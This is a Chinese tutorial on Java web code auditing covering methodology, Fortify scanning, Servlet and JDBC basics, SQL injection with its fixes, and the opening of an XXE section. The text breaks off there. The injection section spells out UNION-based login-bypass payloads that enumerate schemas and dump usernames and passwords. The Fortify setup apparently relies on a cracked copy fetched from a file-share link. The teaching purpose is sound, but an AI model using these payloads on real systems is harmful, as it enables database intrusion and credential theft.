java代码审计


IP签名

代码审计

1. 初识代码审计

1.1 代码审计是什么

代码审计(Code Audit)是一种以发现安全漏洞、程序错误和程序违规为目标的源代码分析技能。在实践过程中,可通过人工审查或者自动化工具的方式,对程序源代码进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

1.2 代码审计的意义

随着Java Web应用越来越广泛,安全审计已经成为安全测试人员需要直面的工作。虽然PHP在中小型互联网企业仍占据一席之地,但主流的大型应用中,java仍是首选的开发语言,国内外大型企业大多以java作为核心的开发语言。因此对于安全从业者来说,java代码审计已经成为所需要掌握的关键技能。

1.3 代码审计的常见思路

为了在应用代码中寻找目标代码的漏洞,需要有明确的方法论作为指导。方法论的选择则要视目标程序和要寻找的漏洞类型而定,一下是一些常见思路:

  1. 接口排查(“正向追踪”):先找出从外部接口接收的参数,并跟踪其传递过程,观察是否有参数校验不严的变量传入高危方法中,或者在传递的过程中是否有代码逻辑漏洞(为了提高排查的全面性
  2. 危险方法溯源(“逆向追踪”)检查敏感方法的参数,并查看参数的传递。处理,判断变量是否可控并且已经经过严格的过滤。
  3. 功能点定向审计:根据经验判断该类应用通产会在哪些功能中出现漏洞
  4. 第三方组件、中间件版本比对:检查Web应用所使用的第三方组件或中间件,直接审计该类功能的代码。中间件的版本是否收到已知漏洞的影响。
  5. 补丁比对:通过对补丁做比对,反推漏洞出处。
  6. “黑盒测试”+“白盒测试”:我认为“白盒测试少直觉,黑盒测试难入做”,虽然代码审计的过程须以“白盒测试”为主,但是在过程中辅以“黑盒测试”将有助于快速定位到接口或做更全面的分析判断。交互式应用安全测试技术IAST就结合了“黑盒测试”与“白盒测试”的特点。
  7. ”代码静态扫描工具“+“人工研判”:对于某些漏洞,使用代码静态扫描工具代替人工漏洞挖掘可以显著提高审计工作的效率。然而,代码静态扫描工具也存在“误报率高“等缺陷,具体使用时往往需要进一步研判
  8. 开发框架安全审计:审计web应用所使用的开发框架是否存在自身安全问题,或者由于用户使用不当二引发的安全风险

1.4 黑盒测试和白盒测试

image-20230130102947552

黑盒测试

  • 黑盒测试又称为功能测试,主要检测软件的每一个功能是否能够正常使用。在测试过程中,将程序看成不能打开的黑盒子,不考虑程序内部结构和特性的基础上通过程序接口进行测试,检查程序功能是否按照设计需求以及说明书的规定能够正常打开使用。
  • 白盒测试也称为结构测试,主要用于检测软件编码过程中的错误。程序员的编程经验,对编程软件的掌握程度、工作状态等因素都会影响到编程质量,导致代码错误。

1.5 代码审计和渗透测试的关系

  • 渗透测试优点:
    • 高速提交测试参数,通过前端进行渗透,通过发送数据包到后台服务器,快速发现多层结构的漏洞,根据漏洞的分类,大概能判断是哪一层结构的问题。
  • 代码审计优点:
    • 全面,深入的发现漏洞
  • 两者之间的关系:
    • 相互补充,彼此强化。
    • 代码审计发现问题,渗透测试确定可利用性
    • 渗透测试发现问题,代码审计确定成因

1.6 代码审计的优势

  1. 提高代码质量
  2. 降低成本

如果在项目上线后才发现bug,开发人员以及调离到其他项目,协调成本太高,上线后被白帽子发现成本也很高,黑客利用,数据丢失,成本更高

1.7 代码审计的工作流程

image-20230130103844927

2. Java代码审计环境搭建

代码审计工具Fortify

简介

fotify是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。扫描的结果中包括详细的安全漏 洞信息、相关的安全知识、修复意见。

原理

  • 首先通过调用语言的编译器或者解释器把前端的语言代码(如JAVA,C/C++源代码)转换成一种中间媒 体文件NST(Normal Syntax Tree),将其源代码之间的调用关系,执行环境,上下文等分析清楚。

  • 通过分析不同类型问题的静态分析引擎分析NST文件,同时匹配所有规则库中的漏洞特征,将漏洞抓取 出来,然后形成包含详细漏洞信息的FPR结果文件,用AWB打开查看。

安装:

下载地址:链接:https://pan.baidu.com/s/11GhiUAJTWQLBKhxs_s50jw 提取码:8888

1、 双击

img

2、Next

img

3、同意

img

4、选择激活文件的位置

img

img

5、选择更新服务器,这里可以不用填写

img

6、移除之前版本选择 No

img

7、安装实例代码项目选择

img

img

  1. fortify安装:安装好之后,将下载的fortify-common-20.1.1.0007.jar包替换掉fortify安装目录下的 Core\lib目录下的同名包

    将规则包rules,替换掉\Core\config\rules文件夹。

  2. 运行Fortify

扫描步骤

配置信息:HP Fortify SCA and Applications 4.10+WIN10(64位家庭版)
步骤1、打开fortify的工作台

image-20230130105247963

image-20230130105252043

步骤2、如果源代码是java,选择Scan Java,源码是C#选择Scan VS,不知道的话选择Advanced Scan

image-20230130105306549

image-20230130105309559

步骤3、选择代码文件夹(不建议将文件夹拆开,如果文件夹过大,可要求开发人员拆开,按文件夹分开扫描)

image-20230130105322523

image-20230130105329814

image-20230130105333722

步骤4、确定后,弹出通知框,如下图,选择java版本,点击OK

image-20230130105342714

image-20230130105346174

根据情况选择后,点击Scan,等待扫描

image-20230130105352212

image-20230130105357496

image-20230130105400708

步骤5、扫描完成后的界面

image-20230130105409921

image-20230130105424326

步骤6、对结果进行分析,填写分析结论及备注信息

image-20230130105433067

image-20230130105436057

步骤7、点击菜单栏的reports,选择审计规则,导出即可

image-20230130105444293

image-20230130105448927

3. javaWeb前置知识

1.javaEE分层模型

web应用程序基本架构

image-20230130105812768

不管是经典的JAVAEE架构,还是轻量级JavaEE架构,大致上都可以分为如下几层:

1、Domain Object(领域对象)层:此层由一系列的POJO(Plain Old Java Object)组成,这些对象是 该系统的Domain Object,往往包含了各自所需实现的业务逻辑方法。

2、DAO(Data Access Object,数据访问对象)层:此层由一系列的DAO组件组成,这些DAO实现了对 数据库的创建、查询、更新和删除(CRUD(增加(Create)、读取(Retrieve)(重新得到数据)、更新 (Update)和删除(Delete)))等原子操作。{在经典JAVAEE应用中,DAO层也被改称为EAO层,EAO层组 件的作用与DAO层组件的作用基本类似。只是EAO层主要完成对实体(Entity)的CRUD操作,因此简称 EAO层。

3、业务逻辑层:此层由一系列的业务逻辑对象组成,这些业务逻辑对象实现了系统所需要的业务逻辑方 法。这些业务逻辑方法可能仅仅用于暴露Domain Object对象所实现的业务逻辑方法,也可能是依赖 DAO组件实现的业务逻辑方法。
4、控制器层:次层由一系列控制器组成,这些控制器用于拦截用户请求,并调用业务逻辑组件的业务逻 辑方法,处理用户请求,并根据处理结果转发到不同的表现层组件。
5、表现层:此层由一系列的JSP页面、Velocity页面、PDF文档视图组件组成,负责收集用户请求,并显示处理结果。

image-20230130105904827

java项目中对应的结构

表示层:接受页面上的参数、找对应的sevice ,执行对应的方法、跳转页面

业务逻辑层:接受表现层的参数,执行对应的业务逻辑(调用dao层方法),返回对应数据

数据访问层:就是对数据库做增删查。

2. Servlet

2.1 servlet简介

Servlet是sun公司提供的一门用于开发动态web资源的技术。

Sun公司在其API中提供了一个servlet接口,用户若想用发一个动态web资源(即开发一个java程序向浏览器输出数据),需要完成以下两个步骤:

  1. 编写一个java类,实现servlet接口。
  2. 把开发好的java类部署到web服务器中。

2.2 Servlet特点

  1. 普通的java类,继承HttpServlet类,覆盖doGet、doPost等方法。
  2. Servlet类只能交给tomcat服务器运行

2.3 怎样开发servlet?

  1. 编写一个servlet类,继承HttpServlet

    image-20230130110631569

  2. 配置web.xml文件

    image-20230130110651362

  3. 访问 http://localhost:8080/FirstServlet/Servlet

2.4 在web.xml中配置<servlet>和<servlet-mapping>的作用?

servlet容器对url的匹配过程:
当一个请求发送到servlet容器的时候,容器先会将请求的url减去当前应用上下文的路径作为servlet的映射url,比如我访问的是http://localhost:8080/FirstServlet/Servlet,我的应用上下文是FirstServlet,容器会将http://localhost:8080/FirstServlet去掉,剩下的/Servlet部分拿来做servlet的映射匹配。

映射匹配步骤:

  1. 首先在web.xml文件中查找是否有匹配的url-pattern的内容(/Servlet)
  2. 如果找到匹配的url-pattern,则使用当前servlet-name的名称到web.xml文件中查询是否相同名称的 servlet配置
  3. 如果找到相同名称的servlet配置,则取出对应的servlet配置信息中的servlet-class内容
    ,然后通过servlet-class里的内容,反射构造Servlet的对象,调用Servlet对象里 面的方法。

2.5 Servlet 注解

Servlet3.0以上可以使用注解@WebServlet自动映射,不用在web.xml中配置 <servlet>和 <servlet-mapping>

使用方法:编写一个servlet类,继承HttpServlet,然后在servlet上面加上@webServlet即可。

image-20230130111137517

2.6 九大内置对象

JSP中一共预先定义了9个这样的对象,分别为:request、response、session、application、out、pagecontext、config、page、exception

  1. 什么叫做内置对象

    在jsp中,有一些对象即开发者不需要自己去创建对象(全部由系统创建好),就可以直接使用对象 调用相应的方法,这些由系统创建的对象称为内置对象。

  2. 九大内置对象分别是哪些

    四大作用域对象:

    内置对象名 类型 对象名 作用域
    request javax.servlet.http.HttpServletRequest 请求对象 Request
    session javax.servlet.http.HttpServletSession 会话对象 Session
    application javax.servlet.ServletContext 应用程序对象
    pageContext javax.servlet.jsp.PageContext 页面上下文对象 Page

    两个输出:

    内置对象名 类型 对象名 作用域
    out javax.servlet.jsp.jspWriter 输出对象 Page
    response java.servlet.http.HttpServletResponse 响应对象 Page

    三个打酱油:

    内置对象名 类型 对象名 作用域
    page java.lang.Object 页面对象 Page
    config javax.servlet.ServletConfig 配置对象 Page
    exception java.lang.Throwable 例外对象 Page

    对作用域的解释:

    Page域:只能在当前jsp页面使用(当前页面)。

    Request域:只能在同一请求中使用(转发)。

    Session域:只能在同一会话(session会话)中使用(私有的)。

    Context(Application)域:只能在一个web应用中使用(全局)。

3. 解析各个servlet对象

3.1 request对象

该对象代表客户端的请求信息,主要用户接收通过HTTP协议传送到服务器的数据(包括请求头信息,系统信息,请求方法以及请求参数等)。request对象的作用域为一次请求。

常用方法:

getParameter(String name) :返回指定参数名称的数值,如果没有相对应的数值则返回null。

getParameterValues(String name):返回具有相同参数名称的数值的集合,返回String类型的数组。

getRequestDispatcher(String uripath):页面的转发,地址不会发生改变,因为针对客户端来说只发送一次请求。

3.2 session对象

session对象是由服务器自动创建的与用户请求相关的对象。服务器为每个用户都生成一个session对 象,用于保存该用户的信息,跟踪用户的操作状态。session对象内部使用Map类来保存数据的,因此保 存数据的格式为“key/value”。

session对象的value可以使用复杂的对象类型,不仅仅局限于字符串类型。

  1. session对象就做会话:即每次浏览器访问网站,服务器就会给这个请求创建一个会话,存储到服务器端,服务器根据每一个会话的ID区别每一个请求的用户。

  2. 常用方法:

    1. setAttribute(String key,Object obj):以key/value形式保存数据。
    2. getAttribute(String key):通过key获取数据。
    3. getId():获取session id。
    4. invalidate():设置session对象失效。
    5. setMaxInactiveInterval(int interval):设置session对象的有效期。
    6. removeAttribute(String key):移除session中的属性。
  3. Session 过期时间的三种设置方式:

    1. 在tomcat服务器的web.xml文件中进行设置,tomcat默认时间为30分钟。
      web.xml文件在conf文件夹下,具体设置如下:(单位为分钟)

      <session-config> 
        <session-timeout>30</session-timeout> 
      </session-config> 
    2. 在项目中的web.xml文件中进行设置:设置方法如a,优先顺序b>a,也就是说b设置了,a就无效了。

    3. 在代码中设置:通过setMaxInactiveInterval()方法设置。

  4. session的销毁

    1. 设置的时长到了以后自动销毁,常见的情况就是你在一个页面长时间不进行操作就要重新登录。
    2. 调用invalidate()方法销毁,常见的情况是注销登录。
  5. 注意事项

    Session的存储类型可以是任意类型。存储位置在服务器端,安全性比较高。 在同一台电脑中,不同的浏览器也认为是不同的用户,也会分配一个session id。
    session也会随着浏览器的关闭而失效。但请注意,session还会保留在服务器端,一直到设定的时间, 才真正的被销毁。

cookie 是一个非常具体的东西,指的就是浏览器里面能永久存储的一种数据,仅仅是浏览器实现的一种 数据存储功能。

cookie由服务器生成,发送给浏览器,浏览器把cookie以 K-V 形式保存到某个目录下的文本文件内,下 一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一 些限制确保cookie不会被恶意使用,同时不会占据太多磁盘空间,所以每个域的cookie数量是有限的。

  • cookie和session的关系
    • session的信息是通过sessionid获取的,而sessionid是存放在会话cookie当中的,当浏览器关闭的时候 会话cookie消失,所以sessionid也就消失了,但是session的信息还存在服务器端,只是查不到所谓的 session,但它并不是不存在。所以session在服务器关闭的时候,或者是session过期,又或者调用了 invalidate(),再或者是session中的某一条数据消失调用session.removeAttribute()方法,session在通 过调用session.getsession来创建的。

4. filter

filter过滤器是处于客户端与服务器资源文件之间的一道过滤网,在访问资源文件之前,通过一系列的过滤器 对请求进行修改、判断等,把不符合规则的请求在中途拦截或修改。也可以对响应进行过滤,拦截或修改响应。

如下图,浏览器发出的请求先递交给第一个filter进行过滤,符合规则则放行,递交给filter链中的下一个 过滤器进行过滤。过滤器在链中的顺序与它在web.xml中配置的顺序有关,配置在前的则位于链的前 端。当请求通过了链中所有过滤器后就可以访问资源文件了,如果不能通过,则可能在中间某个过滤器中被处理掉。

image-20230130113938548

过滤器一般用于登录权限验证、资源访问权限控制、敏感词汇过滤、字符编码转换等等操作,便于代码的重用,不必每个servlet中还要进行相应的操作。

过滤器的简单应用

  1. 新建一个class,实现接口Filter(注意:是javax.servlet中的Filter)。
  2. 重写过滤器的doFilter(request,response,chain)方法。另外两个init()、destroy()方法一般不需要 重写。在doFilter方法中进行过滤操作。
  3. 在web.xml中配置过滤器。这里要谨记一条原则:在web.xml中,监听器>过滤器>servlet。也就是
    说web.xml中监听器配置在过滤器之前,过滤器配置在servlet之前,否则会出错。
<filter>   
   <filter-name>loginFilter</filter-name>//过滤器名称   
   <filter-class>com.nnngu.filter.loginFilter</filter-class>//过滤器类的包路径    <init—param> //可选 
       <param—name>参数名</param-name>//过滤器初始化参数 
       <param-value>参数值</param-value>   
   </init—pamm>   
</filter> 

<filter-mapping>//过滤器映射   
   <filter-name>loginFilter</filter-name>   
   <url—pattern>指定过滤器作用的范围</url-pattern> </filter-mapping> 

<url-pattren> 处定义过滤器作用的范围。一般有以下规则:

1、作用与所有web资源:<url—pattern>/* </url-pattern> 。则客户端请求访问任意资源文件时都要

经过过滤器的过滤,通过则可以访问,否则不能访问。

2、作用于某一文件夹下所有文件:<url-pattern>/dir/* </url-pattern>

3、作用于某一种类型的文件:<url-pattern>.扩展名 </url-pattern> 。比如*<url-pattern>.jsp

</url-pattern> 过滤所有对jsp文件的访问请求。

4、作用于某一文件夹下某一类型文件:<url—pattern>/dir/*.扩展名 </url-pattern>

如果一个过滤器需要过滤多种文件,则可以配置多个 <filter-mapping> ,一个mapping定义一个url-pattern来定义过滤规则。如下:

<filter> 
 <filter-name>loginFilter</filter-name> 
 <filter-class>com.nnngu.filter.loginFilter</filter-class> </filter> 
<filter-mapping> 
 <filter-name>loginFilter</filter-name> 
 <url-pattern>*.jsp</url-pattern> 
</filter-mapping> 
<filter-mapping> 
 <filter-name>loginFilter</filter-name> 
 <url-pattern>*.do</url-pattern> 
</filter-mapping> 

例1:用过滤器实现登录验证,没登录则驳回访问请求并重定向到登录页面。

public void doFilter(ServletRequest arg0, ServletResponse arg1, 
           FilterChain arg2) throws IOException, ServletException { 
       HttpServletRequest request=(HttpServletRequest) arg0; 
       HttpServletResponse response=(HttpServletResponse) arg1; 
       HttpSession session=request.getSession();
       String path=request.getRequestURI(); 
       Integer uid=(Integer)session.getAttribute("userid"); 
       if(path.indexOf("/login.jsp")>-1){//登录页面不过滤 
           arg2.doFilter(arg0, arg1);//递交给下一个过滤器 
           return; 
       } 
       if(path.indexOf("/register.jsp")>-1){//注册页面不过滤 
           arg2.doFilter(request, response); 
           return; 
       } 
       if(uid!=null){//已经登录 
           arg2.doFilter(request, response);//放行,递交给下一个过滤器   
       }else{ 
           response.sendRedirect("login.jsp"); 
       } 
} 

5. 反射

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为 java语言的反射机制。Java的反射机制是Java特性之一,反射机制是构建框架技术的基础所在。

public class Apple { 
    private int price; 
    public int getPrice() {         
        return price; 
    } 
    public void setPrice(int price) {         
        this.price = price; 
    } 
    public static void main(String[] args) throws Exception{ 
        //正常的调用 
        Apple apple = new Apple(); 
        apple.setPrice(5); 
        System.out.println("Apple Price:" + apple.getPrice()); 
        //使用反射调用 
        Class clz = Class.forName("com.chenshuyi.api.Apple"); 
        Method setPriceMethod = clz.getMethod("setPrice", int.class); 
        Constructor appleConstructor = clz.getConstructor(); 
        Object appleObj = appleConstructor.newInstance(); 
        setPriceMethod.invoke(appleObj, 14); 
        Method getPriceMethod = clz.getMethod("getPrice"); 
        System.out.println("Apple Price:" + getPriceMethod.invoke(appleObj));     
    } 
}
  1. 加载类信息

    Class clz= Class.forName("com.mashibing.test.Apple");
  2. 获得对象

    Constructor appleConstructor = clz.getConstructor(); 
    Object appleObj = appleConstructor.newInstance(); 
  3. 获得方法

    Method setPriceMethod = clz.getMethod("setPrice", int.class); 
  4. 执行方法

    setPriceMethod.invoke(appleObj, 14); 

6. SSM 框架

SSM到底是什么。我们照搬百度百科的解释:SSM(Spring+SpringMVC+MyBatis)框架集由
Spring、MyBatis两个开源框架整合而成(SpringMVC是Spring中的部分内容)。常作为数据源较简单的web项目的框架。我们可以发现,ssm其实就是Spring,SpirngMVC,Mybatis的缩写。那么问题来了,SSM分别是干什么的呢?要分析这个问题,就不得不搬出我们javaweb传统开发的MVC框架了。

meven简介

Maven可译为“知识的积累”、“专家”,主要服务于基于Java平台的项目构建、依赖管理和项目信息管理。

1、Maven—项目构建工具 帮助我们自动化构建过程,从清理、编译、测试到生成报告,再到打包部署。我们需要做的是使用 Maven配置好项目,然后输入简单的命令,Maven会帮我们处理上上述任务。譬如我们进行测试,只需 要遵循Maven的约定编写好测试用例,当我们运行构建的时候,这些测试便会自动进行。
Maven抽象了一个完整的构建生命周期模型,模型吸取了大量的其他构建脚本和工具的优点,总结了大 量项目的实际需求,Maven还帮我们标准化构建过程。

2、Maven—项目依赖管理和项目信息管理工具
在这个开源时代,几乎任何java应用都会借用一些第三方的开源类库,这些类库都可以通过依赖的方式 引入到项目中来。随着依赖的增多,版本不一致、冲突,依赖问题接踵而至。maven提供了一个优秀的 解决方案,通过一个坐标系统准确的定位每一个构件(artifact),也就是通过一组坐标maven能够找到任 何一个Java类库(如jar文件)。

maven还帮我们管理各个项目信息,项目描述、开发者列表、版本控制系统地址、许可证、缺陷管理系 统地址等。maven还为Java开发者提供了一个免费的中央仓库,几乎可以找到任何的流行开源类库,帮 我们自动下载构建。

下载jar包:maven项目会有一个pom.xml文件,在这个文件中,添加相应配置,maven会自动帮我们下载相应jar包。<dependencies>节点里,每配置一个

<dependency>
    <groupId>org.springframework</groupId>	、、项目名
    <artifactId>spring-webmvc</artifactId>  //项目模块
    <version>3.0.5.RELEASE</version>	//项目版本
</dependency>

maven都会通过:项目名-项目模块-项目版本,在互联网上的代码库中下载相应的jar包

下载依赖:在在maven的代码库中,每一个jar包也有自己的pom.xml文件,而这个文件里面也会有<dependency>配置,配置的jar包所依赖的其他jar包都会被maven自动下载下来。

7. JDBC

JDBC 是sun公司提供的一套接口 接口都有调用者和实现者,面向接口调用,面向接口写实现类,都属于面向接口编程

Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法。JDBC也是Sun Microsystems的商标。我们通常说的JDBC是面向关系型数据库的。

public static final String URL = "jdbc:mysql://localhost:3306/imooc";     public static final String USER = "liulx"; 
    public static final String PASSWORD = "123456"; 
    public static void main(String[] args) throws Exception { 
        //1.加载驱动程序 
        Class.forName("com.mysql.jdbc.Driver"); 
        //2. 获得数据库连接 
        Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);         //3.操作数据库,实现增删改查 
        Statement stmt = conn.createStatement(); 
        ResultSet rs = stmt.executeQuery("SELECT user_name, age FROM  imooc_goddess"); 
        //如果有数据,rs.next()返回true 
        while(rs.next()){ 
            System.out.println(rs.getString("user_name")+" 年 
龄:"+rs.getInt("age")); 
        } 
    } 

4. SQL注入漏洞

  1. 什么是SQL注入?

    1. SQL注入:是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程 序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以 此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    2. 简单来说就是,使用某些手段,在原来的SQL语句基础上,添加了一段SQL并执行。从而达到某一些不 被管理员允许的目的。

    3. 一般使用SQL注入,主要是拿数据库里面的数据

那怎么去拿到数据库里面的数据

  1. 获得库名

    SELECT DATABASE();
    SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
  2. 获得表名

    SELECT * from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb'
  3. 获得列名

    SELECT * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo'
  4. 获得表里的数据

    SELECT userID,userName,userPass from userinfo

SQL语句准备好了,万事俱备只欠东风,接下来就要使用SQL注入的方式,将这些SQL语句注入到服务 器。能不能直接输入这个sql语句呢?

SELECT DATABASE();

显然不能,原因很简单,登录的逻辑就是拿 着用户名和密码到数据库里面进行比对,那肯定会执行一个这样的SQL语句

SELECT * from users WHERE username='SELECT DATABASE()' and ....;

这个SQL语句 铁定是要报错的,我们来分析一下这个SQL语句,我们真正想执行的SQL语句是 SELECT DATABASE(),换句话说SELECT DATABASE() 这个语句是不是要作为一个独立的SQL语句执行。

所以第一件事情就是把一条SQL语句拆分成两条SQL语句?

怎么拆?

加引号闭合 在加分号 加注

SELECT * from users WHERE username='';SELECT DATABASE() #' and ....;

这个SQL语句 执行还是会报错,原因是不管PHP 还JAVA 还是pyhon 都只能一次性执行一条SQL语句。

怎么在一条语句里面执行两个查询语句呢?

是不是可以借助一个关键词 union

SELECT * from users WHERE username='' union SELECT DATABASE() #' and ....;

但是union关键字有一个限制 两条SQL语句查询的字段数要相同 所以说我们还要获得前一个sql语句字段数。

怎么获得这个数据?

可以借助关键字 order’ by

SELECT * from users WHERE username='' ORDER BY 1
SELECT * from userinfo WHERE userName= ''   union SELECT DATABASE()1,2 # and userPass= ''
发现数据没拿到,但也没报错 ,显示1
SELECT * from userinfo WHERE userName= ''   union SELECT 1,DATABASE(),2 # and userPass= ''
  1. 获得库名

    SELECT * from userinfo WHERE userName= ''   union SELECT 1,DATABASE(),2 # and userPass= ''
  2. 获得表名

    发现有三条数据,但页面上只能显示一个数据?

    怎么办

    使用group_concat函数

    SELECT * from userinfo WHERE userName= '
    '   union SELECT 1, GROUP_CONCAT(table_Name),2 from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb' # and userPass= ''
  3. 获得列名

    SELECT * from userinfo WHERE userName= '
    '   union SELECT 1,GROUP_CONCAT(column_name) ,2 from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo' #and userPass= ''
  4. 获得数据

    SELECT * from userinfo WHERE userName= '
    '   union SELECT userID,userName,userpass FROM userinfo  #and userPass= ''

原因和解决办法

Statment不能防止sql注入

“+”号直接拼接参数(要溯源对参数进行过滤)

不正确写法

image-20230219130859734

PreparedStatement预处理

正确写法

image-20230219130906771

like:当预处理遇到like

不正确写法

image-20230219130926500

正确写法

image-20230219130933233

当预处理遇到in

不正确写法

image-20230219131002450

正确写法

image-20230219131014649

SQL注入如何防止

1、预编译

2、内容过滤

3、引号转义

4、错误信息

5、数据库权限

6、数据加密

7、应用防火墙

SQL注入-Mybatis

${}直接拼接存在漏洞

img

#{} 预编译

img

SQL注入-Mybatis—like防注入

MySQL:

select * from t_user where name like concat('%', #{name}, '%')

Oracle:

select * from t_user where name like '%' | | #{name} | | '%'

Sql Server:

select * from t_user where name like '%' + #{name} + '%'

SQL注入- Mybatis— in防注入

<if test="paramBrands != null" >•and brand.brand_id in <foreach collection="paramBrands" item="perBrand" open="(" close=")" separator=","> # {perBrand.brandId}</foreach></if>

5. xxe漏洞

  1. 什么是XXE漏洞

    XXE(XML External Entity)是指xml外部实体攻击漏洞。

    XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。

    当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。

    这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

  2. XML结构介绍

    要了解XXE漏洞,那么一定要先学习一下有关XML的基础知识。

    XML文件的结构性内容,包括节点关系以及属性内容等等。

    元素是组成XML的最基本的单位,它由开始标记,属性和结束标记组成。

    就是一个元素的例子,每个元素必须有一个元素名,元素可以若干个属性以及属性值。

    xml文件和html文件一样,实际上是一个文本文件。

    一个xml文件的例子

    〈?xml version="1.0" encoding="gb2312" ?〉
    〈参考资料〉
    〈书籍〉
    〈名称〉  xml入门精解〈/名称〉
    〈作者〉张三〈/作者〉
    〈价格 货币单位="人民币"〉20.00〈/价格〉
    〈/书籍〉
    〈书籍〉
    〈名称〉  xml语法〈/名称〉
    〈!--此书即将出版--〉
    〈作者〉李四〈/作者〉
    〈价格 货币单位="人民币"〉  18.00〈/价格〉
    〈/书籍〉
    〈/参考资料〉

    这是一个典型的xml文件,编辑好后保存为一个以.xml为后缀的文件。

    我 们可以将此文件分为 文件序言(prolog)和文件主体两个大的部分。

    在此文件中的第一行即是文件序言。

    该行是一个xml文 件必须要声明的东西,而且也必 须位于xml文件的第一行,它主要是告诉xml解析器如何工作。

    其中,version是标明此xml文件所用的标准的版本号,必须要有; encoding 指明了此xml文件中所使用的字符 类型,可以省略,在你省略此声明的时候,后面的字符码必须是unicode字符码(建议不要省略)。

    文件的其余部分都是属于文件主体,xml文件的内容信息存放在此。

    我们可以看到,文件主体是由开始的〈参考资料〉和结束的〈/参考资料〉控制标记组成,这个称为xml文件的“根元素”;

    〈书籍〉是作为直属于根元素下的“子元素”;

    在〈书籍〉下又有〈名称〉、〈作者〉、〈价格〉这些子元素。

    货币单位是〈价 格〉元素中的一个“属性”,“人民币”则是“属性值”。

    〈!–此书即将出版– 〉这一句同html一样,是注释,在xml文件里,注释部分是放在“〈!–”与“– 〉”标 记之间的部分。

    xml文件是相当简单的。同html一样,xml文件也是由一系列的标记组成,不过,xml文件中的标记是我们自定义的标记,具有明确的含义,我们可以对标记中的内容的含义作出说明。

    xml文件的语法

对xml文件有了初步的印象之后,我们就来详细地谈一谈xml文件的语法。

在讲语法之前,我们必须要了解一个重要的概念,就是xml解析器(xml parse)。

  1. xml解析器

    解析器的主要功能就是检查****xml****文件是否有结构上的错误, 剥离xml文件中的标记,读出正确的内 容,以交给下一步的应用程序处理。 xml是一种用来结构化文件信息的标记语言, xml规范中对于 如何标记文件的结构性有一个详细的法则,解析器就是根据这些法则写出来的软件(多用java写 成)。

  2. well-formed的xml文件

我们知道,xml必须是well-formed的,才能够被解析器正确地解析出来,显示在浏览器中。

那么 什么是well-formed的xml文件呢?

主要有下面几个准则,我们在创建xml文件的时候,必须满足它们。

首先,xml文件的第一行必须是声明该文件是xml文件以及它所使用的xml规范版本。在文件的前面不能够有其它元素或者注释。

第二,在xml文件中有且只能够有一个根元素。我们的第一个例子中,〈参考资料〉…〈/参 考资料〉就是此xml文件的根元素。

xml文件中,用的大多都是自定义的标记。

第三,在xml文件中的标记必须正确地关闭,也就是说,在xml文件中,控制标记必 须有与之 对应的结束标记。如:〈名称〉标记必须有对应的〈/名称〉结束标记,不像html,某些标记的结 束标记可有可无。

如果在xml文件中遇到自成一个 单元的标记,就是类似于html中的〈img src=….. 〉的这些没有结束标记的时候,xml把它称为“空元素”,必须用这样的写法:〈空元素名/〉,如果元素中含有属性时写法则为:〈空元素 名属性名=“属性值”/〉。

第四,标记之间不得交叉。在以前的html文件中,可以这样写:

〈b〉〈h〉xxxxxxx〈/b〉〈/h〉,〈b〉和〈h〉

标记之间有相互重叠的区域,而在xml中,是严格禁止这样标记交错的写法,标记必须以规则 性的次序来出现。

第五,属性值必须要用*“* ****”****号括起来。如第一个例子中的“1.0”、“gb2312”、“人民币”。都是用“ ”号括起来了的,不能漏掉。

第六,控制标记、指令和属性名称等英文要区分大小写。与html不同的是,在html中,类似〈b〉和〈b〉的标记含义是一样的,而在xml中,类似〈name〉、〈name〉或〈name〉这样的 标记是不同的。

第七,我们知道,在html文件中,如果我们要浏览器原封不动地将我们所输入的东西显示出 来,可以将这些东西放到〈pre〉〈/pre〉或者〈xmp〉 〈/xmp〉标记中间。

这对于我们创建html教学的网页是必不可少的,因为网页中要显示html的源代码。

而在xml中,要实现这样的功能,就必须使用 cdata标记。

在cdata标记中的信息被解析器原封不动地传给应用程序,并且不解 析该段信息中的任何控制标记。

cdata区域是由:“〈! [cdata[”为开始标记,以“]]〉”为结束标记。 例如:例2中的源码,除了“〈![cdata[”和“]]〉”符号,其余的内容解析器将原封不动地 交给下游的 应用程序,即使cdata区域中的开始和结尾的空白以及换行字符等,都同样会被转交(注意cdata是大写的字符)。

1. XML的声明

<?xml version=”1.0” standalone=”yes” encoding=”UTF-8”?>
这是一个XML处理指令。处理指令以 <? 开始,以 ?> 结束。
<? 后的第一个单词是指令名,如xml, 代表 XML声明。
version, standalone, encoding 是三个特性,特性是由等号分开的名称-数值对,等号左边是特性名 称,等号右边是特性的值,用引号引起来。

几点解释:

version: 说明这个文档符合1.0规范

standalone: 说明文档在这一个文件里还是需要从外部导入,

standalone: 的值设为yes 说明所有的文档都在这一文件里完成

encoding: 指文档字符编码

2.XML根元素定义

XML文档的树形结构要求必须有一个根元素。根元素的起始标记要放在所有其它元素起始标记之前,根 元素的结束标记根放在其它所有元素的结束标记之后,如

<?xml version=”1.0” standalone=”yes” encoding=”UTF-8”?>
<Settings>
<Person>Zhang San</Person>
</Settings>

3.XML元素

